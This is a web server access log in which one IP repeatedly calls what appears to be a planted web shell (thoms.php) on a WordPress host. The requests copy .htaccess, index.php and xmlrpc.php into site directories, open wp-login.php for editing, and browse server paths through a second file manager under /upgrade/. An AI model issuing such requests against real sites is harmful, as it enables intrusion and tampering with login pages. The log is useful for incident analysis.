45.135.193.11 - - [11/Sep/2026:23:48:35 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22909 "https://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2F.htaccess&p=booking-wise2.com.tw%2Fweb-common" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:35 -0400] "GET /thoms.php?p=booking-wise2.com.tw HTTP/1.1" 200 18989 "https://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2F.htaccess&finish=1&move=1&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:35 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2F.htaccess&finish=1&p=booking-wise2.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2F.htaccess&finish=1&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:35 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2F.htaccess&p=booking-wise2.com.tw%2F.well-known HTTP/1.1" 200 11397 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2F.htaccess&p=booking-wise2.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:35 -0400] "GET /thoms.php?p=booking-wise2.com.tw HTTP/1.1" 200 19143 "https://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2F.htaccess&finish=1&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:35 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2F.htaccess&p=booking-wise2.com.tw%2Fupgrade HTTP/1.1" 200 11353 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2F.htaccess&p=booking-wise2.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:35 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2F.htaccess&p=booking-wise2.com.tw%2Fwp-content HTTP/1.1" 200 11449 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2F.htaccess&p=booking-wise2.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:35 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2F.htaccess&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11878 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2F.htaccess&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:35 -0400] "GET /thoms.php?edit=wp-signup.php&env=ace&p=booking-wise2.com.tw HTTP/1.1" 200 25922 "http://163.245.207.76:443/thoms.php?edit=wp-signup.php&env=ace&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:35 -0400] "GET /thoms.php?edit=wp-signup.php&p=booking-wise2.com.tw HTTP/1.1" 200 22273 "http://163.245.207.76:443/thoms.php?edit=wp-signup.php&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:35 -0400] "GET /thoms.php?edit=index.php&env=ace&p=booking-wise2.com.tw HTTP/1.1" 200 15442 "http://163.245.207.76:443/thoms.php?edit=index.php&env=ace&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:35 -0400] "GET /thoms.php?edit=index.php&p=booking-wise2.com.tw HTTP/1.1" 200 11824 "http://163.245.207.76:443/thoms.php?edit=index.php&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:36 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Findex.php&p=booking-wise2.com.tw%2F.well-known HTTP/1.1" 200 11398 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Findex.php&p=booking-wise2.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:36 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Findex.php&p=booking-wise2.com.tw%2Fdata-unused HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Findex.php&p=booking-wise2.com.tw%2Fdata-unused" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:36 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Findex.php&p= HTTP/1.1" 200 12421 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Findex.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:36 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22914 "https://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Findex.php&p=booking-wise2.com.tw%2Fdata-unused" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:36 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Findex.php&p=booking-wise2.com.tw%2Fcgi-bin HTTP/1.1" 200 11354 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Findex.php&p=booking-wise2.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:36 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Findex.php&finish=1&p=booking-wise2.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Findex.php&finish=1&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:36 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Findex.php&p=booking-wise2.com.tw%2Fupgrade HTTP/1.1" 200 11352 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Findex.php&p=booking-wise2.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:36 -0400] "GET /thoms.php?p=booking-wise2.com.tw HTTP/1.1" 200 19246 "https://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Findex.php&finish=1&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:36 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Findex.php&p=booking-wise2.com.tw%2Fweb-common HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Findex.php&p=booking-wise2.com.tw%2Fweb-common" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:36 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Findex.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 11425 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Findex.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:36 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22915 "https://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Findex.php&p=booking-wise2.com.tw%2Fweb-common" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:36 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Findex.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11868 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Findex.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:36 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Findex.php&finish=1&move=1&p=booking-wise2.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Findex.php&finish=1&move=1&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:36 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Findex.php&p=booking-wise2.com.tw%2Fwp-content HTTP/1.1" 200 11447 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Findex.php&p=booking-wise2.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:36 -0400] "GET /thoms.php?p=booking-wise2.com.tw HTTP/1.1" 200 19247 "https://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Findex.php&finish=1&move=1&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:36 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Freadme.html&p=booking-wise2.com.tw%2Fwp-content HTTP/1.1" 200 11451 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Freadme.html&p=booking-wise2.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:36 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Freadme.html&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11869 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Freadme.html&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:36 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Freadme.html&p=booking-wise2.com.tw%2F.well-known HTTP/1.1" 200 11397 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Freadme.html&p=booking-wise2.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:37 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Freadme.html&p=booking-wise2.com.tw%2Fcgi-bin HTTP/1.1" 200 11355 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Freadme.html&p=booking-wise2.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:37 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Freadme.html&p=booking-wise2.com.tw%2Fupgrade HTTP/1.1" 200 11352 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Freadme.html&p=booking-wise2.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:37 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Freadme.html&p=booking-wise2.com.tw%2Fweb-common HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Freadme.html&p=booking-wise2.com.tw%2Fweb-common" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:37 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22916 "https://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Freadme.html&p=booking-wise2.com.tw%2Fweb-common" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:37 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Freadme.html&finish=1&move=1&p=booking-wise2.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Freadme.html&finish=1&move=1&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:37 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Freadme.html&p=booking-wise2.com.tw%2Fdata-unused HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Freadme.html&p=booking-wise2.com.tw%2Fdata-unused" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:37 -0400] "GET /thoms.php?p=booking-wise2.com.tw HTTP/1.1" 200 19246 "https://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Freadme.html&finish=1&move=1&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:37 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Freadme.html&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 11459 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Freadme.html&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:37 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22915 "https://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Freadme.html&p=booking-wise2.com.tw%2Fdata-unused" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:37 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Freadme.html&finish=1&p=booking-wise2.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Freadme.html&finish=1&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:37 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Freadme.html&p= HTTP/1.1" 200 12433 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Freadme.html&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:37 -0400] "GET /thoms.php?p=booking-wise2.com.tw HTTP/1.1" 200 19470 "https://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Freadme.html&finish=1&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:37 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fxmlrpc.php&finish=1&p=booking-wise2.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fxmlrpc.php&finish=1&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:37 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fxmlrpc.php&p=booking-wise2.com.tw%2Fcgi-bin HTTP/1.1" 200 11325 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fxmlrpc.php&p=booking-wise2.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:37 -0400] "GET /thoms.php?p=booking-wise2.com.tw HTTP/1.1" 200 19612 "https://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fxmlrpc.php&finish=1&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:37 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fxmlrpc.php&p=booking-wise2.com.tw%2Fupgrade HTTP/1.1" 200 11324 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fxmlrpc.php&p=booking-wise2.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:37 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fxmlrpc.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11872 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fxmlrpc.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:37 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fxmlrpc.php&p=booking-wise2.com.tw%2F.well-known HTTP/1.1" 200 11412 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fxmlrpc.php&p=booking-wise2.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:38 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fxmlrpc.php&p=booking-wise2.com.tw%2Fwp-content HTTP/1.1" 200 11465 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fxmlrpc.php&p=booking-wise2.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:38 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fxmlrpc.php&finish=1&move=1&p=booking-wise2.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fxmlrpc.php&finish=1&move=1&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:38 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fxmlrpc.php&p= HTTP/1.1" 200 12425 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fxmlrpc.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:38 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fxmlrpc.php&p=booking-wise2.com.tw%2Fdata-unused HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fxmlrpc.php&p=booking-wise2.com.tw%2Fdata-unused" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:38 -0400] "GET /thoms.php?p=booking-wise2.com.tw HTTP/1.1" 200 19613 "https://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fxmlrpc.php&finish=1&move=1&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:38 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22919 "https://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fxmlrpc.php&p=booking-wise2.com.tw%2Fdata-unused" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:38 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fxmlrpc.php&p=booking-wise2.com.tw%2Fweb-common HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fxmlrpc.php&p=booking-wise2.com.tw%2Fweb-common" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:38 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fxmlrpc.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 11472 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fxmlrpc.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:38 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22918 "https://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fxmlrpc.php&p=booking-wise2.com.tw%2Fweb-common" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:38 -0400] "GET /booking-wise2.com.tw/upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbooking-wise2.com.tw%2Fupgrade%2F&location=%2Fhome%2F HTTP/1.1" 200 5831 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:38 -0400] "GET /thoms.php?edit=wp-login.php&p=booking-wise2.com.tw HTTP/1.1" 200 28826 "http://163.245.207.76:443/thoms.php?edit=wp-login.php&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:38 -0400] "GET /booking-wise2.com.tw/upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbooking-wise2.com.tw%2Fupgrade%2F&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2F HTTP/1.1" 200 11277 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:38 -0400] "GET /booking-wise2.com.tw/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbooking-wise2.com.tw%2Fupgrade%2F%2Ferror_log&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbooking-wise2.com.tw%2Fupgrade%2F HTTP/1.1" 200 6898 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:38 -0400] "GET /thoms.php?edit=wp-login.php&env=ace&p=booking-wise2.com.tw HTTP/1.1" 200 32487 "http://163.245.207.76:443/thoms.php?edit=wp-login.php&env=ace&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:38 -0400] "GET /booking-wise2.com.tw/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbooking-wise2.com.tw%2Fupgrade%2F%2Ftermps.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbooking-wise2.com.tw%2Fupgrade%2F HTTP/1.1" 200 31252 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:38 -0400] "GET /booking-wise2.com.tw/upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbooking-wise2.com.tw%2Fupgrade%2F&location=%2Fhome%2Fblackpussy06%2F HTTP/1.1" 200 7999 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:38 -0400] "GET /booking-wise2.com.tw/upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbooking-wise2.com.tw%2Fupgrade%2F&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbooking-wise2.com.tw%2Fupgrade%2F HTTP/1.1" 200 6628 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:38 -0400] "GET /booking-wise2.com.tw/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbooking-wise2.com.tw%2Fupgrade%2F%2Findex.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbooking-wise2.com.tw%2Fupgrade%2F HTTP/1.1" 200 28609 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
